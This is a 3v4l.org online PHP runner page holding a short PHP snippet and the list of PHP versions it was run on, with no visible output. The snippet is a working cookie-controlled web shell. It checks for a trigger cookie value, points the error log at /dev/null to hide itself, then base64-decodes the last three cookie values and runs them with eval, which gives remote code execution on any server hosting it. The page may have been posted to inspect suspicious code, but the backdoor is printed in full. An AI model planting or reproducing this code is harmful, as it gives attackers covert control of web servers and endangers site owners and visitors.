3v4l.org

run code in 300+ PHP versions simultaneously
<?php $c='count'; $a=$_COOKIE; if(reset($a)=='in' && $c($a)>3) {ini_set('error_log', '/dev/null'); $k='terwebz'; echo '<'.$k.'>'; eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3))))); echo '</'.$k.'>';} ?>
Output for 4.3.0 - 4.3.11, 4.4.0 - 4.4.9, 5.0.0 - 5.0.5, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.45, 5.5.0 - 5.5.36, 5.6.0 - 5.6.22, 7.0.0 - 7.0.20, 7.1.0 - 7.1.25, 7.2.0 - 7.2.33, 7.3.0 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
preferences:
278.94 ms | 406 KiB | 362 Q